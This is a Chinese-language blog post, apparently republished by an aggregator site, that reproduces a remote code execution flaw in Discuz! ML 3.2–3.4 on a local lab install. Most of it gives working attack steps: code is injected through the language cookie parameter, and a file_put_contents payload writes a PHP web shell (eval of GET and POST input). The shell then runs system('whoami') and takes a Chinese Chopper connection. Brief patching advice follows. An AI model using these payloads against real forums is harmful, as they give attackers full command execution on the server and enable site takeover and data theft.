PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了Discuz! ML RCE漏洞 getshell 复现大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

0x00 Discuz简介

  Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台, 用于构建像“社交网络”这样的互联网社区。

0x01 影响版本

  Discuz! ML V3.2

  Discuz! ML V3.3

  Discuz! ML V3.4

0x02 环境搭建

  PHPstudy(PHP-7.2.10-nts Apache)

  Discuz 3.4 源码(官网下载:http://discuz.ml/download 之后将源码解压到根目录 /WWW)

0x03 漏洞复现

右上角语言标识,随便选择一种语言并抓包

Discuz! ML RCE漏洞 getshell 复现

 

 

将抓到的包发送到repeater模块
将包中的xxxxx_language参数值改为 '.PHPinfo().' ,可以看到成功执行了代码,得到了PHPinfo信息,如下图:

Discuz! ML RCE漏洞 getshell 复现

 

 

GetsHell exp:
解码后:
  '. file_put_contents('sHell.PHP',urldecode('%3c%3fPHP %20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')).'
解码前:
  '. file_put_contents('sHell.PHP',urldecode('') 将包中的xxxxx_language参数值改为解码后的exp,可以看到成功执行了代码,在文件夹中多出了sHell.PHP文件, 如下图

Discuz! ML RCE漏洞 getshell 复现

 

 查看文件upload

Discuz! ML RCE漏洞 getshell 复现

 

 

 

url后加sHell.PHP?cmd=system('whoami');

 

  url:http://127.0.0.1/discuz/upload/shell.php?cmd=system('whoami');

 

直接执行了whoami命令  

Discuz! ML RCE漏洞 getshell 复现

  Exp:
'. file_put_contents('sHelll.PHP',urldecode('%3c%3fPHP %20eval(%24_%50%4f%53%54%5b%22a1%22%5d)%3b%3f%3e')).'
原语句:<?PHP  eval($_POST["a1"]);?>
将包中cookie的xxxxx_language参数值改为exp,可以看到成功执行了代码,在文件夹中多出了sHelll.PHP文件

如下图

Discuz! ML RCE漏洞 getshell 复现

 

 访问执行sHelll.PHP

@H_489_108@

 

 执行后使用菜刀连接

Discuz! ML RCE漏洞 getshell 复现

 

 0x04 修复建议

  (1)修改source/function/function_core.PHP 644行为:
   /*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' :    '_').$templatEID.'_'.str_replace('/', '_', $filE).'.tpl.PHP';
  (2)删除可控变量。
  (3)或者安装最新补丁。

感觉博主写的不错的,右边赞赏点一点,嘿嘿→_→

小白一枚!

谢谢观看!

 

 

 

 

大佬总结

以上是大佬教程为你收集整理的Discuz! ML RCE漏洞 getshell 复现全部内容,希望文章能够帮你解决Discuz! ML RCE漏洞 getshell 复现所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: